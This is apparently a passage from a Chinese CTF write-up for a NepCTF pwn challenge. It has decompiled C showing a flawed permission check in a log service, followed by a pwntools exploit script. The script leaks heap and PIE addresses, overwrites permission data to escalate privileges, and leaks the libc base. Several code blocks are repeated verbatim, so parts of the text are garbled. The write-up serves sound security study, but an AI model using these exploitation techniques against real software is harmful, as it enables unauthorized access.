*)(a1 + 8) + 8LL) = right_list[4 * Id]; permission_confirm(*(_QWORD *)(a1 + 8), s); if ( *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) == 8 )// "MANAGER_visit" { puts("1: manager visit user to read from user_logs"); puts("2: manager visit user to write to user_logs"); __isoc99_scanf("%d", &v2); if ( !checkvisit(v2) ) { puts("permission denied visit"); return 0xFFFFFFFFLL; } if ( v2 == 1 ) { *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) = 6; } else if ( v2 == 2 ) { *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) = 3; } } switch ( *(_DWORD *)(*(_QWORD *)(a1 + 8) + 0x10LL) ) { case 6: return write(1, **(const void ***)(*(_QWORD *)(a1 + 0x10) + 8LL), 0xFFuLL);// "1: manager visit user to read from user_logs" case 3: return read(0, **(void ***)(*(_QWORD *)(a1 + 0x10) + 8LL), 0xFFuLL);// "2: manager visit user to write to user_logs" case 4: return write(1, **(const void ***)(a1 + 8), 0xFFuLL);// "MANAGER_read" } result = *(unsigned int *)(*(_QWORD *)(a1 + 8) + 0x10LL); if ( (_DWORD)result == 2 ) // "MANAGER_write" return read(0, **(void ***)(a1 + 8), 0xFFuLL); return result;}_BOOL8 __fastcall checkvisit(int a1){ if ( a1 == 1 ) return 1LL; return a1 != 2 || (operat_chunk->operat_code & 4) == 0;}_BOOL8 __fastcall checkvisit(int a1){ if ( a1 == 1 ) return 1LL; return a1 != 2 || (operat_chunk->operat_code & 4) == 0;}from pwn import *io=process('./pwn')#io=remote("nepctf32-nhc3-ipgm-a41k-fqjcvtlc0394.nepctf.com",443,ssl=True,sni="nepctf32-nhc3-ipgm-a41k-fqjcvtlc0394.nepctf.com")libc=ELF('libc.so.6')def bug(): gdb.attach(io)def ch(Id): io.sendlineafter(b"(1:manager 1000:user)\n",str(Id).encode())def usr_write(Id,payload): ch(1000) io.sendafter(b"user write to logs(USER_write)\n",b"USER_write") io.sendlineafter(b"10-19: user can visit\n",str(Id).encode()) io.send(payload)def usr_read(Id): ch(1000) io.sendafter(b"user write to logs(USER_write)\n",b"USER_read") io.sendlineafter(b"10-19: user can visit\n",str(Id).encode())def man_write(Id,payload): ch(1) io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_write") io.sendlineafter(b"1-19: manager can visit",str(Id).encode()) io.send(payload)def man_read(Id): ch(1) io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_read") io.sendlineafter(b"1-19: manager can visit",str(Id).encode())def man_write_usr(Id,payload): ch(1) io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_visit") io.sendlineafter(b"1-19: manager can visit",str(Id).encode()) io.sendlineafter(b"2: manager visit user to write to user_logs",b"2") io.send(payload)def man_read_usr(Id): ch(1) io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_visit") io.sendlineafter(b"1-19: manager can visit",str(Id).encode()) io.sendlineafter(b"2: manager visit user to write to user_logs",b"1")from pwn import *io=process('./pwn')#io=remote("nepctf32-nhc3-ipgm-a41k-fqjcvtlc0394.nepctf.com",443,ssl=True,sni="nepctf32-nhc3-ipgm-a41k-fqjcvtlc0394.nepctf.com")libc=ELF('libc.so.6')def bug(): gdb.attach(io)def ch(Id): io.sendlineafter(b"(1:manager 1000:user)\n",str(Id).encode())def usr_write(Id,payload): ch(1000) io.sendafter(b"user write to logs(USER_write)\n",b"USER_write") io.sendlineafter(b"10-19: user can visit\n",str(Id).encode()) io.send(payload)def usr_read(Id): ch(1000) io.sendafter(b"user write to logs(USER_write)\n",b"USER_read") io.sendlineafter(b"10-19: user can visit\n",str(Id).encode())def man_write(Id,payload): ch(1) io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_write") io.sendlineafter(b"1-19: manager can visit",str(Id).encode()) io.send(payload)def man_read(Id): ch(1) io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_read") io.sendlineafter(b"1-19: manager can visit",str(Id).encode())def man_write_usr(Id,payload): ch(1) io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_visit") io.sendlineafter(b"1-19: manager can visit",str(Id).encode()) io.sendlineafter(b"2: manager visit user to write to user_logs",b"2") io.send(payload)def man_read_usr(Id): ch(1) io.sendafter(b"visit user(MANAGER_visit)\n",b"MANAGER_visit") io.sendlineafter(b"1-19: manager can visit",str(Id).encode()) io.sendlineafter(b"2: manager visit user to write to user_logs",b"1")man_read(0)io.recvuntil(b"\x01\x00\x00\x00\x00\x00\x00\x00")heap=u64(io.recv(8))-0x22d0pie=u64(io.recv(8))-0x41a0print(f"heap=>{hex(heap)}")print(f"pie=>{hex(pie)}")man_read(0)io.recvuntil(b"\x01\x00\x00\x00\x00\x00\x00\x00")heap=u64(io.recv(8))-0x22d0pie=u64(io.recv(8))-0x41a0print(f"heap=>{hex(heap)}")print(f"pie=>{hex(pie)}")def get_right(): ch(1000) io.sendafter(b"user write to logs(USER_write)\n",b"MANAGER_visit") io.sendlineafter(b"10-19: user can visit\n",str(0).encode())def get_right(): ch(1000) io.sendafter(b"user write to logs(USER_write)\n",b"MANAGER_visit") io.sendlineafter(b"10-19: user can visit\n",str(0).encode())usr_write(10,b'a'*0x50)get_right()head=heap+0x2a0#即chank[0]的地址usr_write(10,b'a'*0x50)get_right()head=heap+0x2a0#即chank[0]的地址man_write_usr(0,p64(0)+p64(heap+0x22d0)+p64(head+0x18)+p64(head+0x20)+p64(head+0x28)+p64(pie+0x4068))man_write_usr(0,p64(0xf))#修改权限man_write_usr(0,p64(0)+p64(heap+0x22d0)+p64(head+0x18)+p64(head+0x20)+p64(head+0x28)+p64(pie+0x4068))man_write_usr(0,p64(0xf))#修改权限man_write(0,p64(0)+p64(heap+0x22d0)+p64(head+0x18)+p64(head+0x20)+p64(head+0x28)+p64(pie+0x4020))man_read_usr(0)io.recvline()#===base=u64(io.recv(8))-0x21b780print(f"base=>{hex(base)}")赞赏
- [原创] 2025 强网杯和强网拟态部分题解 2292
- [原创]港湾杯决赛--babyshark 2960
- [原创]2025 磐石行动-线下AWD-PWN 3135
- [原创]Nepctf2025 pwn部分wp 3891
- [原创]L3CTF-2025:heack 2980